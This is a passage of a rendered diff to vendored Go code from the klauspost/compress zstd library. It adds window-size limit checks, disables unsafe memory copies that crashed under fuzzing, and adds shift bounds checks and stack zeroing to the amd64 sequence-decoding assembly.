    68 71   return io.ErrUnexpectedEOF
    69 72   }
    70 73   *b = bb[n:]
    skipped 49 lines
    120 123   return r.tmp[0], nil
    121 124  }
    122 125   
    123  -func (r *readerWrapper) skipN(n int) error {
    124  - n2, err := io.CopyN(ioutil.Discard, r.r, int64(n))
    125  - if n2 != int64(n) {
     126 +func (r *readerWrapper) skipN(n int64) error {
     127 + n2, err := io.CopyN(ioutil.Discard, r.r, n)
     128 + if n2 != n {
    126 129   err = io.ErrUnexpectedEOF
    127 130   }
    128 131   return err
    skipped 2 lines
  • ■ ■ ■ ■ ■ ■
    vendor/github.com/klauspost/compress/zstd/decoder.go
    skipped 347 lines
    348 348   frame.history.setDict(&dict)
    349 349   }
    350 350   if frame.WindowSize > d.o.maxWindowSize {
     351 + if debugDecoder {
     352 + println("window size exceeded:", frame.WindowSize, ">", d.o.maxWindowSize)
     353 + }
    351 354   return dst, ErrWindowSizeExceeded
    352 355   }
    353 356   if frame.FrameContentSize != fcsUnknown {
    skipped 569 lines
  • ■ ■ ■ ■ ■ ■
    vendor/github.com/klauspost/compress/zstd/encoder.go
    skipped 527 lines
    528 528   // If a non-single block is needed the encoder will reset again.
    529 529   e.encoders <- enc
    530 530   }()
    531  - // Use single segments when above minimum window and below 1MB.
    532  - single := len(src) < 1<<20 && len(src) > MinWindowSize
     531 + // Use single segments when above minimum window and below window size.
     532 + single := len(src) <= e.o.windowSize && len(src) > MinWindowSize
    533 533   if e.o.single != nil {
    534 534   single = *e.o.single
    535 535   }
    skipped 107 lines
  • ■ ■ ■ ■
    vendor/github.com/klauspost/compress/zstd/encoder_options.go
    skipped 282 lines
    283 283  // a decoder is allowed to reject a compressed frame which requests a memory size beyond decoder's authorized range.
    284 284  // For broader compatibility, decoders are recommended to support memory sizes of at least 8 MB.
    285 285  // This is only a recommendation, each decoder is free to support higher or lower limits, depending on local limitations.
    286  -// If this is not specified, block encodes will automatically choose this based on the input size.
     286 +// If this is not specified, block encodes will automatically choose this based on the input size and the window size.
    287 287  // This setting has no effect on streamed encodes.
    288 288  func WithSingleSegment(b bool) EOption {
    289 289   return func(o *encoderOptions) error {
    skipped 29 lines
  • ■ ■ ■ ■ ■ ■
    vendor/github.com/klauspost/compress/zstd/framedec.go
    skipped 105 lines
    106 106   }
    107 107   n := uint32(b[0]) | (uint32(b[1]) << 8) | (uint32(b[2]) << 16) | (uint32(b[3]) << 24)
    108 108   println("Skipping frame with", n, "bytes.")
    109  - err = br.skipN(int(n))
     109 + err = br.skipN(int64(n))
    110 110   if err != nil {
    111 111   if debugDecoder {
    112 112   println("Reading discarded frame", err)
    skipped 118 lines
    231 231   d.crc.Reset()
    232 232   }
    233 233   
     234 + if d.WindowSize > d.o.maxWindowSize {
     235 + if debugDecoder {
     236 + printf("window size %d > max %d\n", d.WindowSize, d.o.maxWindowSize)
     237 + }
     238 + return ErrWindowSizeExceeded
     239 + }
     240 + 
    234 241   if d.WindowSize == 0 && d.SingleSegment {
    235 242   // We may not need window in this case.
    236 243   d.WindowSize = d.FrameContentSize
    237 244   if d.WindowSize < MinWindowSize {
    238 245   d.WindowSize = MinWindowSize
    239 246   }
     247 + if d.WindowSize > d.o.maxDecodedSize {
     248 + if debugDecoder {
     249 + printf("window size %d > max %d\n", d.WindowSize, d.o.maxWindowSize)
     250 + }
     251 + return ErrDecoderSizeExceeded
     252 + }
    240 253   }
    241 254   
    242  - if d.WindowSize > uint64(d.o.maxWindowSize) {
    243  - if debugDecoder {
    244  - printf("window size %d > max %d\n", d.WindowSize, d.o.maxWindowSize)
    245  - }
    246  - return ErrWindowSizeExceeded
    247  - }
    248 255   // The minimum Window_Size is 1 KB.
    249 256   if d.WindowSize < MinWindowSize {
    250 257   if debugDecoder {
    skipped 163 lines
  • ■ ■ ■ ■ ■ ■
    vendor/github.com/klauspost/compress/zstd/fse_decoder_amd64.go
    skipped 33 lines
    34 34  // buildDtable will build the decoding table.
    35 35  func (s *fseDecoder) buildDtable() error {
    36 36   ctx := buildDtableAsmContext{
    37  - stateTable: (*uint16)(&s.stateTable[0]),
    38  - norm: (*int16)(&s.norm[0]),
     37 + stateTable: &s.stateTable[0],
     38 + norm: &s.norm[0],
    39 39   dt: (*uint64)(&s.dt[0]),
    40 40   }
    41 41   code := buildDtable_asm(s, &ctx)
    skipped 24 lines
  • ■ ■ ■ ■ ■ ■
    vendor/github.com/klauspost/compress/zstd/seqdec_amd64.go
    skipped 54 lines
    55 55   if s.maxSyncLen == 0 && cap(s.out)-len(s.out) < maxCompressedBlockSize {
    56 56   return false, nil
    57 57   }
    58  - useSafe := false
    59  - if s.maxSyncLen == 0 && cap(s.out)-len(s.out) < maxCompressedBlockSizeAlloc {
    60  - useSafe = true
    61  - }
    62  - if s.maxSyncLen > 0 && cap(s.out)-len(s.out)-compressedBlockOverAlloc < int(s.maxSyncLen) {
    63  - useSafe = true
    64  - }
    65  - if cap(s.literals) < len(s.literals)+compressedBlockOverAlloc {
    66  - useSafe = true
    67  - }
     58 + 
     59 + // FIXME: Using unsafe memory copies leads to rare, random crashes
     60 + // with fuzz testing. It is therefore disabled for now.
     61 + const useSafe = true
     62 + /*
     63 + useSafe := false
     64 + if s.maxSyncLen == 0 && cap(s.out)-len(s.out) < maxCompressedBlockSizeAlloc {
     65 + useSafe = true
     66 + }
     67 + if s.maxSyncLen > 0 && cap(s.out)-len(s.out)-compressedBlockOverAlloc < int(s.maxSyncLen) {
     68 + useSafe = true
     69 + }
     70 + if cap(s.literals) < len(s.literals)+compressedBlockOverAlloc {
     71 + useSafe = true
     72 + }
     73 + */
    68 74   
    69 75   br := s.br
    70 76   
    skipped 293 lines
  • ■ ■ ■ ■ ■ ■
    vendor/github.com/klauspost/compress/zstd/seqdec_amd64.s
    skipped 51 lines
    52 52   
    53 53  sequenceDecs_decode_amd64_fill_end:
    54 54   // Update offset
    55  - MOVQ R9, AX
    56  - MOVQ BX, CX
    57  - MOVQ DX, R15
    58  - SHLQ CL, R15
    59  - MOVB AH, CL
    60  - ADDQ CX, BX
    61  - NEGL CX
    62  - SHRQ CL, R15
    63  - SHRQ $0x20, AX
    64  - TESTQ CX, CX
    65  - CMOVQEQ CX, R15
    66  - ADDQ R15, AX
    67  - MOVQ AX, 16(R10)
     55 + MOVQ R9, AX
     56 + MOVQ BX, CX
     57 + MOVQ DX, R15
     58 + SHLQ CL, R15
     59 + MOVB AH, CL
     60 + SHRQ $0x20, AX
     61 + TESTQ CX, CX
     62 + JZ sequenceDecs_decode_amd64_of_update_zero
     63 + ADDQ CX, BX
     64 + CMPQ BX, $0x40
     65 + JA sequenceDecs_decode_amd64_of_update_zero
     66 + CMPQ CX, $0x40
     67 + JAE sequenceDecs_decode_amd64_of_update_zero
     68 + NEGQ CX
     69 + SHRQ CL, R15
     70 + ADDQ R15, AX
     71 + 
     72 +sequenceDecs_decode_amd64_of_update_zero:
     73 + MOVQ AX, 16(R10)
    68 74   
    69 75   // Update match length
    70  - MOVQ R8, AX
    71  - MOVQ BX, CX
    72  - MOVQ DX, R15
    73  - SHLQ CL, R15
    74  - MOVB AH, CL
    75  - ADDQ CX, BX
    76  - NEGL CX
    77  - SHRQ CL, R15
    78  - SHRQ $0x20, AX
    79  - TESTQ CX, CX
    80  - CMOVQEQ CX, R15
    81  - ADDQ R15, AX
    82  - MOVQ AX, 8(R10)
     76 + MOVQ R8, AX
     77 + MOVQ BX, CX
     78 + MOVQ DX, R15
     79 + SHLQ CL, R15
     80 + MOVB AH, CL
     81 + SHRQ $0x20, AX
     82 + TESTQ CX, CX
     83 + JZ sequenceDecs_decode_amd64_ml_update_zero
     84 + ADDQ CX, BX
     85 + CMPQ BX, $0x40
     86 + JA sequenceDecs_decode_amd64_ml_update_zero
     87 + CMPQ CX, $0x40
     88 + JAE sequenceDecs_decode_amd64_ml_update_zero
     89 + NEGQ CX
     90 + SHRQ CL, R15
     91 + ADDQ R15, AX
     92 + 
     93 +sequenceDecs_decode_amd64_ml_update_zero:
     94 + MOVQ AX, 8(R10)
    83 95   
    84 96   // Fill bitreader to have enough for the remaining
    85 97   CMPQ SI, $0x08
    skipped 21 lines
    107 119   
    108 120  sequenceDecs_decode_amd64_fill_2_end:
    109 121   // Update literal length
    110  - MOVQ DI, AX
    111  - MOVQ BX, CX
    112  - MOVQ DX, R15
    113  - SHLQ CL, R15
    114  - MOVB AH, CL
    115  - ADDQ CX, BX
    116  - NEGL CX
    117  - SHRQ CL, R15
    118  - SHRQ $0x20, AX
    119  - TESTQ CX, CX
    120  - CMOVQEQ CX, R15
    121  - ADDQ R15, AX
    122  - MOVQ AX, (R10)
     122 + MOVQ DI, AX
     123 + MOVQ BX, CX
     124 + MOVQ DX, R15
     125 + SHLQ CL, R15
     126 + MOVB AH, CL
     127 + SHRQ $0x20, AX
     128 + TESTQ CX, CX
     129 + JZ sequenceDecs_decode_amd64_ll_update_zero
     130 + ADDQ CX, BX
     131 + CMPQ BX, $0x40
     132 + JA sequenceDecs_decode_amd64_ll_update_zero
     133 + CMPQ CX, $0x40
     134 + JAE sequenceDecs_decode_amd64_ll_update_zero
     135 + NEGQ CX
     136 + SHRQ CL, R15
     137 + ADDQ R15, AX
     138 + 
     139 +sequenceDecs_decode_amd64_ll_update_zero:
     140 + MOVQ AX, (R10)
    123 141   
    124 142   // Fill bitreader for state updates
    125 143   MOVQ R14, (SP)
    skipped 72 lines
    198 216   MOVQ R12, R13
    199 217   MOVQ R11, R12
    200 218   MOVQ CX, R11
    201  - JMP sequenceDecs_decode_amd64_adjust_end
     219 + JMP sequenceDecs_decode_amd64_after_adjust
    202 220   
    203 221  sequenceDecs_decode_amd64_adjust_offsetB_1_or_0:
    204 222   CMPQ (R10), $0x00000000
    skipped 5 lines
    210 228   TESTQ CX, CX
    211 229   JNZ sequenceDecs_decode_amd64_adjust_offset_nonzero
    212 230   MOVQ R11, CX
    213  - JMP sequenceDecs_decode_amd64_adjust_end
     231 + JMP sequenceDecs_decode_amd64_after_adjust
    214 232   
    215 233  sequenceDecs_decode_amd64_adjust_offset_nonzero:
    216 234   CMPQ CX, $0x01
    skipped 30 lines
    247 265   MOVQ AX, R11
    248 266   MOVQ AX, CX
    249 267   
    250  -sequenceDecs_decode_amd64_adjust_end:
     268 +sequenceDecs_decode_amd64_after_adjust:
    251 269   MOVQ CX, 16(R10)
    252 270   
    253 271   // Check values
    skipped 102 lines
    356 374   
    357 375  sequenceDecs_decode_56_amd64_fill_end:
    358 376   // Update offset
    359  - MOVQ R9, AX
    360  - MOVQ BX, CX
    361  - MOVQ DX, R15
    362  - SHLQ CL, R15
    363  - MOVB AH, CL
    364  - ADDQ CX, BX
    365  - NEGL CX
    366  - SHRQ CL, R15
    367  - SHRQ $0x20, AX
    368  - TESTQ CX, CX
    369  - CMOVQEQ CX, R15
    370  - ADDQ R15, AX
    371  - MOVQ AX, 16(R10)
     377 + MOVQ R9, AX
     378 + MOVQ BX, CX
     379 + MOVQ DX, R15
     380 + SHLQ CL, R15
     381 + MOVB AH, CL
     382 + SHRQ $0x20, AX
     383 + TESTQ CX, CX
     384 + JZ sequenceDecs_decode_56_amd64_of_update_zero
     385 + ADDQ CX, BX
     386 + CMPQ BX, $0x40
     387 + JA sequenceDecs_decode_56_amd64_of_update_zero
     388 + CMPQ CX, $0x40
     389 + JAE sequenceDecs_decode_56_amd64_of_update_zero
     390 + NEGQ CX
     391 + SHRQ CL, R15
     392 + ADDQ R15, AX
     393 + 
     394 +sequenceDecs_decode_56_amd64_of_update_zero:
     395 + MOVQ AX, 16(R10)
    372 396   
    373 397   // Update match length
    374  - MOVQ R8, AX
    375  - MOVQ BX, CX
    376  - MOVQ DX, R15
    377  - SHLQ CL, R15
    378  - MOVB AH, CL
    379  - ADDQ CX, BX
    380  - NEGL CX
    381  - SHRQ CL, R15
    382  - SHRQ $0x20, AX
    383  - TESTQ CX, CX
    384  - CMOVQEQ CX, R15
    385  - ADDQ R15, AX
    386  - MOVQ AX, 8(R10)
     398 + MOVQ R8, AX
     399 + MOVQ BX, CX
     400 + MOVQ DX, R15
     401 + SHLQ CL, R15
     402 + MOVB AH, CL
     403 + SHRQ $0x20, AX
     404 + TESTQ CX, CX
     405 + JZ sequenceDecs_decode_56_amd64_ml_update_zero
     406 + ADDQ CX, BX
     407 + CMPQ BX, $0x40
     408 + JA sequenceDecs_decode_56_amd64_ml_update_zero
     409 + CMPQ CX, $0x40
     410 + JAE sequenceDecs_decode_56_amd64_ml_update_zero
     411 + NEGQ CX
     412 + SHRQ CL, R15
     413 + ADDQ R15, AX
     414 + 
     415 +sequenceDecs_decode_56_amd64_ml_update_zero:
     416 + MOVQ AX, 8(R10)
    387 417   
    388 418   // Update literal length
    389  - MOVQ DI, AX
    390  - MOVQ BX, CX
    391  - MOVQ DX, R15
    392  - SHLQ CL, R15
    393  - MOVB AH, CL
    394  - ADDQ CX, BX
    395  - NEGL CX
    396  - SHRQ CL, R15
    397  - SHRQ $0x20, AX
    398  - TESTQ CX, CX
    399  - CMOVQEQ CX, R15
    400  - ADDQ R15, AX
    401  - MOVQ AX, (R10)
     419 + MOVQ DI, AX
     420 + MOVQ BX, CX
     421 + MOVQ DX, R15
     422 + SHLQ CL, R15
     423 + MOVB AH, CL
     424 + SHRQ $0x20, AX
     425 + TESTQ CX, CX
     426 + JZ sequenceDecs_decode_56_amd64_ll_update_zero
     427 + ADDQ CX, BX
     428 + CMPQ BX, $0x40
     429 + JA sequenceDecs_decode_56_amd64_ll_update_zero
     430 + CMPQ CX, $0x40
     431 + JAE sequenceDecs_decode_56_amd64_ll_update_zero
     432 + NEGQ CX
     433 + SHRQ CL, R15
     434 + ADDQ R15, AX
     435 + 
     436 +sequenceDecs_decode_56_amd64_ll_update_zero:
     437 + MOVQ AX, (R10)
    402 438   
    403 439   // Fill bitreader for state updates
    404 440   MOVQ R14, (SP)
    skipped 72 lines
    477 513   MOVQ R12, R13
    478 514   MOVQ R11, R12
    479 515   MOVQ CX, R11
    480  - JMP sequenceDecs_decode_56_amd64_adjust_end
     516 + JMP sequenceDecs_decode_56_amd64_after_adjust
    481 517   
    482 518  sequenceDecs_decode_56_amd64_adjust_offsetB_1_or_0:
    483 519   CMPQ (R10), $0x00000000
    skipped 5 lines
    489 525   TESTQ CX, CX
    490 526   JNZ sequenceDecs_decode_56_amd64_adjust_offset_nonzero
    491 527   MOVQ R11, CX
    492  - JMP sequenceDecs_decode_56_amd64_adjust_end
     528 + JMP sequenceDecs_decode_56_amd64_after_adjust
    493 529   
    494 530  sequenceDecs_decode_56_amd64_adjust_offset_nonzero:
    495 531   CMPQ CX, $0x01
    skipped 30 lines
    526 562   MOVQ AX, R11
    527 563   MOVQ AX, CX
    528 564   
    529  -sequenceDecs_decode_56_amd64_adjust_end:
     565 +sequenceDecs_decode_56_amd64_after_adjust:
    530 566   MOVQ CX, 16(R10)
    531 567   
    532 568   // Check values
    skipped 224 lines
    757 793   MOVQ R11, R12
    758 794   MOVQ R10, R11
    759 795   MOVQ CX, R10
    760  - JMP sequenceDecs_decode_bmi2_adjust_end
     796 + JMP sequenceDecs_decode_bmi2_after_adjust
    761 797   
    762 798  sequenceDecs_decode_bmi2_adjust_offsetB_1_or_0:
    763 799   CMPQ (R9), $0x00000000
    skipped 5 lines
    769 805   TESTQ CX, CX
    770 806   JNZ sequenceDecs_decode_bmi2_adjust_offset_nonzero
    771 807   MOVQ R10, CX
    772  - JMP sequenceDecs_decode_bmi2_adjust_end
     808 + JMP sequenceDecs_decode_bmi2_after_adjust
    773 809   
    774 810  sequenceDecs_decode_bmi2_adjust_offset_nonzero:
    775 811   CMPQ CX, $0x01
    skipped 30 lines
    806 842   MOVQ R13, R10
    807 843   MOVQ R13, CX
    808 844   
    809  -sequenceDecs_decode_bmi2_adjust_end:
     845 +sequenceDecs_decode_bmi2_after_adjust:
    810 846   MOVQ CX, 16(R9)
    811 847   
    812 848   // Check values
    skipped 199 lines
    1012 1048   MOVQ R11, R12
    1013 1049   MOVQ R10, R11
    1014 1050   MOVQ CX, R10
    1015  - JMP sequenceDecs_decode_56_bmi2_adjust_end
     1051 + JMP sequenceDecs_decode_56_bmi2_after_adjust
    1016 1052   
    1017 1053  sequenceDecs_decode_56_bmi2_adjust_offsetB_1_or_0:
    1018 1054   CMPQ (R9), $0x00000000
    skipped 5 lines
    1024 1060   TESTQ CX, CX
    1025 1061   JNZ sequenceDecs_decode_56_bmi2_adjust_offset_nonzero
    1026 1062   MOVQ R10, CX
    1027  - JMP sequenceDecs_decode_56_bmi2_adjust_end
     1063 + JMP sequenceDecs_decode_56_bmi2_after_adjust
    1028 1064   
    1029 1065  sequenceDecs_decode_56_bmi2_adjust_offset_nonzero:
    1030 1066   CMPQ CX, $0x01
    skipped 30 lines
    1061 1097   MOVQ R13, R10
    1062 1098   MOVQ R13, CX
    1063 1099   
    1064  -sequenceDecs_decode_56_bmi2_adjust_end:
     1100 +sequenceDecs_decode_56_bmi2_after_adjust:
    1065 1101   MOVQ CX, 16(R9)
    1066 1102   
    1067 1103   // Check values
    skipped 681 lines
    1749 1785   MOVQ 72(AX), DI
    1750 1786   MOVQ 80(AX), R8
    1751 1787   MOVQ 88(AX), R9
     1788 + XORQ CX, CX
     1789 + MOVQ CX, 8(SP)
     1790 + MOVQ CX, 16(SP)
     1791 + MOVQ CX, 24(SP)
    1752 1792   MOVQ 112(AX), R10
    1753 1793   MOVQ 128(AX), CX
    1754 1794   MOVQ CX, 32(SP)
    skipped 43 lines
    1798 1838   
    1799 1839  sequenceDecs_decodeSync_amd64_fill_end:
    1800 1840   // Update offset
    1801  - MOVQ R9, AX
    1802  - MOVQ BX, CX
    1803  - MOVQ DX, R14
    1804  - SHLQ CL, R14
    1805  - MOVB AH, CL
    1806  - ADDQ CX, BX
    1807  - NEGL CX
    1808  - SHRQ CL, R14
    1809  - SHRQ $0x20, AX
    1810  - TESTQ CX, CX
    1811  - CMOVQEQ CX, R14
    1812  - ADDQ R14, AX
    1813  - MOVQ AX, 8(SP)
     1841 + MOVQ R9, AX
     1842 + MOVQ BX, CX
     1843 + MOVQ DX, R14
     1844 + SHLQ CL, R14
     1845 + MOVB AH, CL
     1846 + SHRQ $0x20, AX
     1847 + TESTQ CX, CX
     1848 + JZ sequenceDecs_decodeSync_amd64_of_update_zero
     1849 + ADDQ CX, BX
     1850 + CMPQ BX, $0x40
     1851 + JA sequenceDecs_decodeSync_amd64_of_update_zero
     1852 + CMPQ CX, $0x40
     1853 + JAE sequenceDecs_decodeSync_amd64_of_update_zero
     1854 + NEGQ CX
     1855 + SHRQ CL, R14
     1856 + ADDQ R14, AX
     1857 + 
     1858 +sequenceDecs_decodeSync_amd64_of_update_zero:
     1859 + MOVQ AX, 8(SP)
    1814 1860   
    1815 1861   // Update match length
    1816  - MOVQ R8, AX
    1817  - MOVQ BX, CX
    1818  - MOVQ DX, R14
    1819  - SHLQ CL, R14
    1820  - MOVB AH, CL
    1821  - ADDQ CX, BX
    1822  - NEGL CX
    1823  - SHRQ CL, R14
    1824  - SHRQ $0x20, AX
    1825  - TESTQ CX, CX
    1826  - CMOVQEQ CX, R14
    1827  - ADDQ R14, AX
    1828  - MOVQ AX, 16(SP)
     1862 + MOVQ R8, AX
     1863 + MOVQ BX, CX
     1864 + MOVQ DX, R14
     1865 + SHLQ CL, R14
     1866 + MOVB AH, CL
     1867 + SHRQ $0x20, AX
     1868 + TESTQ CX, CX
     1869 + JZ sequenceDecs_decodeSync_amd64_ml_update_zero
     1870 + ADDQ CX, BX
     1871 + CMPQ BX, $0x40
     1872 + JA sequenceDecs_decodeSync_amd64_ml_update_zero
     1873 + CMPQ CX, $0x40
     1874 + JAE sequenceDecs_decodeSync_amd64_ml_update_zero
     1875 + NEGQ CX
     1876 + SHRQ CL, R14
     1877 + ADDQ R14, AX
     1878 + 
     1879 +sequenceDecs_decodeSync_amd64_ml_update_zero:
     1880 + MOVQ AX, 16(SP)
    1829 1881   
    1830 1882   // Fill bitreader to have enough for the remaining
    1831 1883   CMPQ SI, $0x08
    skipped 21 lines
    1853 1905   
    1854 1906  sequenceDecs_decodeSync_amd64_fill_2_end:
    1855 1907   // Update literal length
    1856  - MOVQ DI, AX
    1857  - MOVQ BX, CX
    1858  - MOVQ DX, R14
    1859  - SHLQ CL, R14
    1860  - MOVB AH, CL
    1861  - ADDQ CX, BX
    1862  - NEGL CX
    1863  - SHRQ CL, R14
    1864  - SHRQ $0x20, AX
    1865  - TESTQ CX, CX
    1866  - CMOVQEQ CX, R14
    1867  - ADDQ R14, AX
    1868  - MOVQ AX, 24(SP)
     1908 + MOVQ DI, AX
     1909 + MOVQ BX, CX
     1910 + MOVQ DX, R14
     1911 + SHLQ CL, R14
     1912 + MOVB AH, CL
     1913 + SHRQ $0x20, AX
     1914 + TESTQ CX, CX
     1915 + JZ sequenceDecs_decodeSync_amd64_ll_update_zero
     1916 + ADDQ CX, BX
     1917 + CMPQ BX, $0x40
     1918 + JA sequenceDecs_decodeSync_amd64_ll_update_zero
     1919 + CMPQ CX, $0x40
     1920 + JAE sequenceDecs_decodeSync_amd64_ll_update_zero
     1921 + NEGQ CX
     1922 + SHRQ CL, R14
     1923 + ADDQ R14, AX
     1924 + 
     1925 +sequenceDecs_decodeSync_amd64_ll_update_zero:
     1926 + MOVQ AX, 24(SP)
    1869 1927   
    1870 1928   // Fill bitreader for state updates
    1871 1929   MOVQ R13, (SP)
    skipped 73 lines
    1945 2003   MOVUPS 144(CX), X0
    1946 2004   MOVQ R13, 144(CX)
    1947 2005   MOVUPS X0, 152(CX)
    1948  - JMP sequenceDecs_decodeSync_amd64_adjust_end
     2006 + JMP sequenceDecs_decodeSync_amd64_after_adjust
    1949 2007   
    1950 2008  sequenceDecs_decodeSync_amd64_adjust_offsetB_1_or_0:
    1951 2009   CMPQ 24(SP), $0x00000000
    skipped 5 lines
    1957 2015   TESTQ R13, R13
    1958 2016   JNZ sequenceDecs_decodeSync_amd64_adjust_offset_nonzero
    1959 2017   MOVQ 144(CX), R13
    1960  - JMP sequenceDecs_decodeSync_amd64_adjust_end
     2018 + JMP sequenceDecs_decodeSync_amd64_after_adjust
    1961 2019   
    1962 2020  sequenceDecs_decodeSync_amd64_adjust_offset_nonzero:
    1963 2021   MOVQ R13, AX
    skipped 2 lines
    1966 2024   CMPQ R13, $0x03
    1967 2025   CMOVQEQ R14, AX
    1968 2026   CMOVQEQ R15, R14
    1969  - LEAQ 144(CX), R15
    1970  - ADDQ (R15)(AX*8), R14
     2027 + ADDQ 144(CX)(AX*8), R14
    1971 2028   JNZ sequenceDecs_decodeSync_amd64_adjust_temp_valid
    1972 2029   MOVQ $0x00000001, R14
    1973 2030   
    skipped 9 lines
    1983 2040   MOVQ R14, 144(CX)
    1984 2041   MOVQ R14, R13
    1985 2042   
    1986  -sequenceDecs_decodeSync_amd64_adjust_end:
     2043 +sequenceDecs_decodeSync_amd64_after_adjust:
    1987 2044   MOVQ R13, 8(SP)
    1988 2045   
    1989 2046   // Check values
    skipped 290 lines
    2280 2337   MOVQ 72(CX), SI
    2281 2338   MOVQ 80(CX), DI
    2282 2339   MOVQ 88(CX), R8
     2340 + XORQ R9, R9
     2341 + MOVQ R9, 8(SP)
     2342 + MOVQ R9, 16(SP)
     2343 + MOVQ R9, 24(SP)
    2283 2344   MOVQ 112(CX), R9
    2284 2345   MOVQ 128(CX), R10
    2285 2346   MOVQ R10, 32(SP)
    skipped 166 lines
    2452 2513   MOVUPS 144(CX), X0
    2453 2514   MOVQ R13, 144(CX)
    2454 2515   MOVUPS X0, 152(CX)
    2455  - JMP sequenceDecs_decodeSync_bmi2_adjust_end
     2516 + JMP sequenceDecs_decodeSync_bmi2_after_adjust
    2456 2517   
    2457 2518  sequenceDecs_decodeSync_bmi2_adjust_offsetB_1_or_0:
    2458 2519   CMPQ 24(SP), $0x00000000
    skipped 5 lines
    2464 2525   TESTQ R13, R13
    2465 2526   JNZ sequenceDecs_decodeSync_bmi2_adjust_offset_nonzero
    2466 2527   MOVQ 144(CX), R13
    2467  - JMP sequenceDecs_decodeSync_bmi2_adjust_end
     2528 + JMP sequenceDecs_decodeSync_bmi2_after_adjust
    2468 2529   
    2469 2530  sequenceDecs_decodeSync_bmi2_adjust_offset_nonzero:
    2470 2531   MOVQ R13, R12
    skipped 2 lines
    2473 2534   CMPQ R13, $0x03
    2474 2535   CMOVQEQ R14, R12
    2475 2536   CMOVQEQ R15, R14
    2476  - LEAQ 144(CX), R15
    2477  - ADDQ (R15)(R12*8), R14
     2537 + ADDQ 144(CX)(R12*8), R14
    2478 2538   JNZ sequenceDecs_decodeSync_bmi2_adjust_temp_valid
    2479 2539   MOVQ $0x00000001, R14
    2480 2540   
    skipped 9 lines
    2490 2550   MOVQ R14, 144(CX)
    2491 2551   MOVQ R14, R13
    2492 2552   
    2493  -sequenceDecs_decodeSync_bmi2_adjust_end:
     2553 +sequenceDecs_decodeSync_bmi2_after_adjust:
    2494 2554   MOVQ R13, 8(SP)
    2495 2555   
    2496 2556   // Check values
    skipped 290 lines
    2787 2847   MOVQ 72(AX), DI
    2788 2848   MOVQ 80(AX), R8
    2789 2849   MOVQ 88(AX), R9
     2850 + XORQ CX, CX
     2851 + MOVQ CX, 8(SP)
     2852 + MOVQ CX, 16(SP)
     2853 + MOVQ CX, 24(SP)
    2790 2854   MOVQ 112(AX), R10
    2791 2855   MOVQ 128(AX), CX
    2792 2856   MOVQ CX, 32(SP)
    skipped 43 lines
    2836 2900   
    2837 2901  sequenceDecs_decodeSync_safe_amd64_fill_end:
    2838 2902   // Update offset
    2839  - MOVQ R9, AX
    2840  - MOVQ BX, CX
    2841  - MOVQ DX, R14
    2842  - SHLQ CL, R14
    2843  - MOVB AH, CL
    2844  - ADDQ CX, BX
    2845  - NEGL CX
    2846  - SHRQ CL, R14
    2847  - SHRQ $0x20, AX
    2848  - TESTQ CX, CX
    2849  - CMOVQEQ CX, R14
    2850  - ADDQ R14, AX
    2851  - MOVQ AX, 8(SP)
     2903 + MOVQ R9, AX
     2904 + MOVQ BX, CX
     2905 + MOVQ DX, R14
     2906 + SHLQ CL, R14
     2907 + MOVB AH, CL
     2908 + SHRQ $0x20, AX
     2909 + TESTQ CX, CX
     2910 + JZ sequenceDecs_decodeSync_safe_amd64_of_update_zero
     2911 + ADDQ CX, BX
     2912 + CMPQ BX, $0x40
     2913 + JA sequenceDecs_decodeSync_safe_amd64_of_update_zero
     2914 + CMPQ CX, $0x40
     2915 + JAE sequenceDecs_decodeSync_safe_amd64_of_update_zero
     2916 + NEGQ CX
     2917 + SHRQ CL, R14
     2918 + ADDQ R14, AX
     2919 + 
     2920 +sequenceDecs_decodeSync_safe_amd64_of_update_zero:
     2921 + MOVQ AX, 8(SP)
    2852 2922   
    2853 2923   // Update match length
    2854  - MOVQ R8, AX
    2855  - MOVQ BX, CX
    2856  - MOVQ DX, R14
    2857  - SHLQ CL, R14
    2858  - MOVB AH, CL
    2859  - ADDQ CX, BX
    2860  - NEGL CX
    2861  - SHRQ CL, R14
    2862  - SHRQ $0x20, AX
    2863  - TESTQ CX, CX
    2864  - CMOVQEQ CX, R14
    2865  - ADDQ R14, AX
    2866  - MOVQ AX, 16(SP)
     2924 + MOVQ R8, AX
     2925 + MOVQ BX, CX
     2926 + MOVQ DX, R14
     2927 + SHLQ CL, R14
     2928 + MOVB AH, CL
     2929 + SHRQ $0x20, AX
     2930 + TESTQ CX, CX
     2931 + JZ sequenceDecs_decodeSync_safe_amd64_ml_update_zero
     2932 + ADDQ CX, BX
     2933 + CMPQ BX, $0x40
     2934 + JA sequenceDecs_decodeSync_safe_amd64_ml_update_zero
     2935 + CMPQ CX, $0x40
     2936 + JAE sequenceDecs_decodeSync_safe_amd64_ml_update_zero
     2937 + NEGQ CX
     2938 + SHRQ CL, R14
     2939 + ADDQ R14, AX
     2940 + 
     2941 +sequenceDecs_decodeSync_safe_amd64_ml_update_zero:
     2942 + MOVQ AX, 16(SP)
    2867 2943   
    2868 2944   // Fill bitreader to have enough for the remaining
    2869 2945   CMPQ SI, $0x08
    skipped 21 lines
    2891 2967   
    2892 2968  sequenceDecs_decodeSync_safe_amd64_fill_2_end:
    2893 2969   // Update literal length
    2894  - MOVQ DI, AX
    2895  - MOVQ BX, CX
    2896  - MOVQ DX, R14
    2897  - SHLQ CL, R14
    2898  - MOVB AH, CL
    2899  - ADDQ CX, BX
    2900  - NEGL CX
    2901  - SHRQ CL, R14
    2902  - SHRQ $0x20, AX
    2903  - TESTQ CX, CX
    2904  - CMOVQEQ CX, R14
    2905  - ADDQ R14, AX
    2906  - MOVQ AX, 24(SP)
     2970 + MOVQ DI, AX
     2971 + MOVQ BX, CX
     2972 + MOVQ DX, R14
     2973 + SHLQ CL, R14
     2974 + MOVB AH, CL
     2975 + SHRQ $0x20, AX
     2976 + TESTQ CX, CX
     2977 + JZ sequenceDecs_decodeSync_safe_amd64_ll_update_zero
     2978 + ADDQ CX, BX
     2979 + CMPQ BX, $0x40
     2980 + JA sequenceDecs_decodeSync_safe_amd64_ll_update_zero
     2981 + CMPQ CX, $0x40
     2982 + JAE sequenceDecs_decodeSync_safe_amd64_ll_update_zero
     2983 + NEGQ CX
     2984 + SHRQ CL, R14
     2985 + ADDQ R14, AX
     2986 + 
     2987 +sequenceDecs_decodeSync_safe_amd64_ll_update_zero:
     2988 + MOVQ AX, 24(SP)
    2907 2989   
    2908 2990   // Fill bitreader for state updates
    2909 2991   MOVQ R13, (SP)
    skipped 73 lines
    2983 3065   MOVUPS 144(CX), X0
    2984 3066   MOVQ R13, 144(CX)
    2985 3067   MOVUPS X0, 152(CX)
    2986  - JMP sequenceDecs_decodeSync_safe_amd64_adjust_end
